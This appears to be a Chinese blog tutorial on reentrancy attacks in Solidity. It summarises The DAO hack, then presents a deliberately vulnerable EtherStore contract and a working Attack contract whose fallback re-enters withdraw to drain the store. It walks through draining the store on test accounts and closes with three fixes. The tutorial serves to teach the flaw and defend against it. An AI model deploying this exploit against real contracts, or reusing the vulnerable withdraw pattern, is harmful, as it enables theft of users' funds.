The DAO事件

首先简要说明下一个很有名的重入攻击事件,再模拟重入攻击。

The DAO是分布式自治组织,2016年5月正式发布,该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午,被攻击的消息开始在社交网站上出现,到6月18日黑客将超过360万个以太币转移到一个child DAO项目中,child DAO项目和The DAO有着一样的结构,当时以太币的价格从20美元降到了13美元。

当时,一个所谓的”递归调用“攻击(现在称为重入攻击)名词随之出现,这种攻击可以被用来消耗一些智能合约账户。

这次的黑客攻击最终导致了以太坊硬分叉,分为ETH和ETC,分叉前的为ETC(以太坊经典),现在使用的ETH为硬分叉后的以太坊。

整个事件可以参考:The DAO攻击历史_x-2010的博客-CSDN博客_dao 攻击

模拟重入攻击

攻击与被攻击合约代码

说明:以下重入攻击代码,在0.8.0以下版本可以成功测试,0.8.0及以上版本未能成功测试,调用攻击函数时被拦截报错。

源码可参见:smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub

// SPDX-License-Identifier: MITpragma solidity ^0.7.6;//被攻击合约contract EtherStore {    //记录余额    mapping(address => uint256) public balance;    // 存款,ether转入合约地址,同时更新调用者的balance;    function deposit() external payable {        balance[msg.sender] += msg.value;    }    // 取款,从合约地址余额向调用者地址取款    function withdraw(uint256 _amount) external {        // 验证账户余额是否充足        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");        // 取款(从合约地址转入调用者账户)        (bool result,) = msg.sender.call{value: _amount}("");        // 验证取款结果         require(result, "Failed to withdraw Ether");        // 更新余额        balance[msg.sender] -= _amount;    }    // 查看合约余额    function getContractBalance() external view returns(uint256) {        return address(this).balance;    }}//攻击合约(黑客编写)contract Attack {    EtherStore public etherstore;    constructor(address _etherStoreAddress) public {        etherstore = EtherStore(_etherStoreAddress);    }    //回退函数    fallback() external payable {        //判断被攻击合约余额大于等于1 ether,是为了避免死循环,死循环时调用将会失败,达不到目的了        if (address(etherstore).balance >= 1 ether) {            //从被攻击合约中取款            etherstore.withdraw(1 ether);        }     }    //攻击函数    function attack() external payable {        require(msg.value >= 1 ether);        //向被攻击合约存款        //etherstore.deposit.value(1 ether)();  //0.6.0版本以前写法        etherstore.deposit{value: 1 ether}();        //从被攻击合约中取款        etherstore.withdraw(1 ether);    }    //查看合约余额    function getContractBalance() external view returns (uint256) {        return address(this).balance;    }    //取出合约余额到外部账户中    function withdraw() external payable {        payable(msg.sender).transfer(address(this).balance);    }    //查看外部账户余额    function getExternalBalance() external view returns (uint256) {        return msg.sender.balance;    }}

攻击函数 attack 被调用后执行流程如下图所示:

测试重入攻击

1、测试使用的外部账户

使用三个外部账户

账户1 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 部署被攻击合约(EtherStore)

账户2 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2部署攻击合约(Attack)

账户3 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db 向被攻击合约(EtherStore)存款

2、部署合约

(1)部署被攻击合约(EtherStore)

使用账户1部署被攻击合约(EtherStore)

部署完成得到被攻击合约(EtherStore)地址:0xd9145CCE52D386f254917e481eB44e9943F39138

(2)部署攻击合约(Attack)

使用账户2 部署攻击合约(Attack),参数填写被攻击合约(EtherStore)地址,在实际攻击时,参数填写在以太网中的实际合约地址。

部署完成得到攻击合约(Attack)地址:

0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

3、测试步骤(攻击获取ETH)

(1)账户3调用被攻击合约(EtherStore)存款函数

  1. 账户3 存款6Ether(调用函数 deposit)
  2. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),当前余额为6Ether

(2)账户2调用攻击合约(Attack)攻击函数

  1. 账户2 调用攻击合约(Attack)中攻击函数(调用函数 attack),攻击函数中调用被攻击合约中的取款函数,此时会执行攻击合约中的回退函数(fallback),fallback将被攻击合约账户余额转入攻击合约账户中
  2. 查看攻击合约(Attack)余额(调用函数 getContractBalance),余额为 7 Ether = 自己存款 1 Ether + 被攻击合约 6 Ether
  3. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),此时已为 0 Ether,已被攻击者成功转走

查看被攻击合约(EtherStore)余额

说明:

fallback函数是合约中的一个未命名函数,没有参数且没有返回值。

fallback执行条件:

  1. 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配时(或没有提供调用数据),fallback函数会被执行;
  2. 当合约收到以太币时,fallback函数会被执行;攻击合约(Attack)中用到了此触发fallback执行条件。

关于fallback函数执行的2种触发方式可参见:Solitidy – fallback 回退函数 – 2种触发执行方式_ling1998的博客-CSDN博客

(3)攻击者被攻击合约余额转入自己的用户账户

  1. 账户2调用攻击合约(Attack)中取款函数(withdraw),合约账户余额转入账户2用户账户
  2. 查看攻击合约账户余额,已为 0 Ether
  3. 查看攻击者(即账户2)用户账户余额,已成功获取约 6 Ether

4、测试^0.8.0版本

使用0.8.0测试步骤(2)时,报错,错误信息如下所示:

transact to Attack.attack errored: VM error: revert.revertThe transaction has been reverted to the initial state.Reason provided by the contract: "Failed to withdraw Ether".Debug the transaction to get more information.

修改EtherStore合约中的函数withdraw(加粗字体),即一次性将合约地址账户余额全部转入调用者账户,之后账户余额清零,测试成功,但是这样没有再次执行withdraw啊。

function withdraw(uint256 _amount) external {

// 验证账户余额是否充足

require(balance[msg.sender] >= _amount, “The balance is not sufficient.”);

// 取款(将合约地址账户余额全部转入调用者账户)

(bool result,) = msg.sender.call{value: balance[msg.sender]}(“”);

// 验证取款结果

require(result, “Failed to withdraw Ether”);

// 更新余额:清零

balance[msg.sender] = 0;

}

解决重入攻击方案

1、被攻击合约(EtherStore)中取款函数先更新余额再取款

调用被攻击合约(EtherStore)中的取款函数,调顺序

// 更新余额
balance[msg.sender] -= _amount;

// 取款(从合约地址转入调用者账户)
(bool result,) = msg.sender.call{value: _amount}(“”);
// 验证取款结果
require(result, “Failed to withdraw Ether”);

展示调整后的取款函数withdraw

    // 取款,从合约地址余额向调用者地址取款    function withdraw(uint256 _amount) external {        // 验证账户余额是否充足        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");        // 更新余额        balance[msg.sender] -= _amount;                // 取款(从合约地址转入调用者账户)        (bool result,) = msg.sender.call{value: _amount}("");        // 验证取款结果         require(result, "Failed to withdraw Ether");    }

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,与在0.8.0版本错误相同,如下图所示

2、取款使用transfer代替msg.sender.call

    // 取款,从合约地址余额向调用者地址取款    function withdraw(uint256 _amount) external {        // 验证账户余额是否充足        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");        /** 删除.call调用 **/        // // 取款(从合约地址转入调用者账户)        // (bool result,) = msg.sender.call{value: _amount}("");        // // 验证取款结果         // require(result, "Failed to withdraw Ether");                // 取款(从合约地址转入调用者账户)        msg.sender.transfer(_amount);        // 更新余额        balance[msg.sender] -= _amount;    }

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示:

3、使用重入锁

增加一个状态变量标识是否加锁,若已加锁则不能再调用被攻击函数中的取款方法。

//被攻击合约contract EtherStore {    //记录余额    mapping(address => uint256) public balance;    //锁    bool locked;    //判断是否加锁,若加锁已返回,否则加锁,执行完释放锁    modifier noLock() {        require(!locked, "The lock is locked.");        locked = true;        _;        locked = false;    }    // 存款,ether转入合约地址,同时更新调用者的balance;    function deposit() external payable {        balance[msg.sender] += msg.value;    }    // 取款,从合约地址余额向调用者地址取款    function withdraw(uint256 _amount) noLock external {        // 验证账户余额是否充足        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");        // 取款(从合约地址转入调用者账户)        (bool result,) = msg.sender.call{value: _amount}("");        // 验证取款结果         require(result, "Failed to withdraw Ether");        // 更新余额        balance[msg.sender] -= _amount;    }    // 查看合约余额    function getContractBalance() external view returns(uint256) {        return address(this).balance;    }}

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示: